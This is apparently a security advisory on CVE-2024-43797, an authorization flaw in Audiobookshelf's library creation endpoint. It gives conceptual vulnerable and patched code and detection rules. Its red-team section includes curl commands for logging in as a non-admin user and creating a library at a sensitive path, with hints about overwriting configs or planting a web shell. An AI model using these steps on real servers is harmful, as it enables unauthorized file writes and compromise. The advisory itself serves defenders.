CVE-2024-43797

Executive Summary

CVE-2024-43797 is a privilege escalation and path traversal vulnerability in Audiobookshelf, a self-hosted audiobook and podcast server. A non-admin user, who should only have access to specific libraries, can exploit a missing admin check in the LibraryController to create new libraries and write files to arbitrary directories on the server's filesystem. This effectively bypasses Role-Based Access Control (RBAC) and can lead to unauthorized file writes, potentially enabling code execution or data corruption. The vulnerability is patched in version 2.13.0. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk is significant for unpatched instances.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) supply chain issue. It is a direct code-level flaw in the Audiobookshelf application.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): Low (L) - Requires a non-admin user account.
• User Interaction (UI): None (N) - No user action needed.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): Low (L) - Limited information disclosure possible.
• Integrity (I): High (H) - Arbitrary file writes can corrupt data or inject malicious content.
• Availability (A): Low (L) - Could potentially disrupt service by overwriting critical files.

Threat Level: Medium. While the CVSS score is moderate, the ability for a low-privileged user to write arbitrary files is a serious integrity risk. In many environments, this could be chained with other vulnerabilities to achieve remote code execution.

Deep Dive & Mechanics

The vulnerability resides in the LibraryController of Audiobookshelf. The intended RBAC model restricts library creation and management to admin users only. However, the controller's endpoint for creating libraries does not verify that the requesting user has admin privileges. This oversight allows any authenticated non-admin user to call the library creation API.

The library creation process involves specifying a path on the filesystem where the library's media files will be stored. Because the admin check is missing, a non-admin user can provide an arbitrary path (e.g., /etc/audiobookshelf/config, /var/www/html, or any writable directory). The application then creates the library and, depending on the implementation, may write metadata or configuration files to that path. This constitutes a path traversal attack because the user can escape the intended library storage directory.

The impact is not just limited to creating empty directories. If the application writes files (e.g., .json metadata, cover images, or logs) to the attacker-controlled path, the attacker can overwrite existing files or plant new ones. For example, an attacker could overwrite a configuration file to inject malicious settings, or write a web shell to a web-accessible directory if the server also serves static files.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual - before 2.13.0):

// LibraryController.js (vulnerable)
async createLibrary(req, res) {
    const { name, path } = req.body;
    // Missing admin check!
    const library = await LibraryModel.create({ name, path });
    res.json(library);
}

Patched Code (Conceptual - after 2.13.0):

// LibraryController.js (patched)
async createLibrary(req, res) {
    // Admin check added
    if (!req.user.isAdmin) {
        return res.status(403).json({ error: 'Forbidden' });
    }
    const { name, path } = req.body;
    const library = await LibraryModel.create({ name, path });
    res.json(library);
}

The fix is straightforward: an isAdmin check is added at the beginning of the createLibrary function. If the user is not an admin, the request is rejected with a 403 Forbidden status.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running Audiobookshelf instance (version < 2.13.0).
• A non-admin user account (e.g., attacker with password password123).
• Network access to the server.

Exploitation Steps:

1. Authenticate as a non-admin user:

   curl -X POST http://target:1337/api/login \
     -H "Content-Type: application/json" \
     -d '{"username":"attacker","password":"password123"}'
   

   Save the session cookie or token from the response.

2. Create a malicious library pointing to a sensitive directory:

   curl -X POST http://target:1337/api/libraries \
     -H "Content-Type: application/json" \
     -H "Cookie: connect.sid=<session_cookie>" \
     -d '{"name":"MaliciousLib","path":"/etc/audiobookshelf"}'
   

3. Verify the library was created:

   curl http://target:1337/api/libraries \
     -H "Cookie: connect.sid=<session_cookie>"
   

4. Exploit further: If the application writes files to the library path, you can attempt to overwrite configuration files. For example, if the server writes a metadata.json file, you could craft a request that causes the server to write malicious content to that file.

Note: No public exploit code (Exploit-DB) is available for this CVE.

Blue Team

Detection Steps:

1. Monitor API logs for unusual library creation requests from non-admin users. Look for POST /api/libraries requests where the user's role is not admin.
2. Audit file system changes in sensitive directories (e.g., /etc, /var/www, application config directories). Use file integrity monitoring (FIM) tools like AIDE or Tripwire.
3. Review user permissions regularly. Ensure that only trusted users have accounts, and that admin privileges are strictly controlled.
4. Check for unexpected libraries in the Audiobookshelf admin panel. Any library pointing to a non-standard path should be investigated.

Indicators of Compromise (IOCs)

• File System:
  • Unexpected directories or files in sensitive locations (e.g., /etc/audiobookshelf/, /var/www/html/).
  • New library metadata files (e.g., metadata.json) in unusual paths.
• Network:
  • API requests to /api/libraries from non-admin users.
  • Unusual file write operations to paths outside the expected media directories.
• Logs:
  • Application logs showing library creation by non-admin users.
  • System logs (e.g., auditd) showing file writes to protected directories by the audiobookshelf process.

Detection Engineering

YARA Rule

rule CVE_2024_43797_Audiobookshelf_Library_Creation {
    meta:
        description = "Detects attempts to exploit CVE-2024-43797 by creating a library with a path traversal payload"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-43797"
    strings:
        $api_endpoint = "/api/libraries"
        $path_traversal = /path["']?\s*:\s*["'](\.\.\/|\.\.\\)/
        $admin_bypass = /isAdmin["']?\s*:\s*false/
    condition:
        $api_endpoint and ($path_traversal or $admin_bypass)
}

Sigma Rule

title: CVE-2024-43797 Audiobookshelf Library Creation by Non-Admin User
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects a non-admin user creating a library in Audiobookshelf, indicating exploitation of CVE-2024-43797.
author: Valters IT
date: 2024-10-27
logsource:
    category: application
    product: audiobookshelf
detection:
    selection:
        event: "library.create"
        user.role: "user"  # Non-admin role
    condition: selection
falsepositives:
    - Legitimate admin actions if logging is misconfigured.
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-43797 Audiobookshelf Library Creation by Non-Admin User"; flow:to_server; content:"POST"; http_method; content:"/api/libraries"; http_uri; content:"\"role\":\"user\""; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to Audiobookshelf version 2.13.0 or later. This is the only complete fix.
2. Restrict network access to the Audiobookshelf server to trusted users only.
3. Review and revoke any non-admin accounts that may have been compromised.

Compensating Controls (if upgrade is not possible):

• Implement a Web Application Firewall (WAF) rule to block POST /api/libraries requests from non-admin users.
• Use a reverse proxy (e.g., Nginx) to add an authentication layer that checks user roles before proxying to the backend.
• Monitor file system integrity in sensitive directories.

Long-Term Recommendations:

• Enforce the principle of least privilege for all user roles.
• Conduct regular code reviews focusing on RBAC enforcement.
• Implement automated security testing (SAST/DAST) to catch missing authorization checks.

Valters IT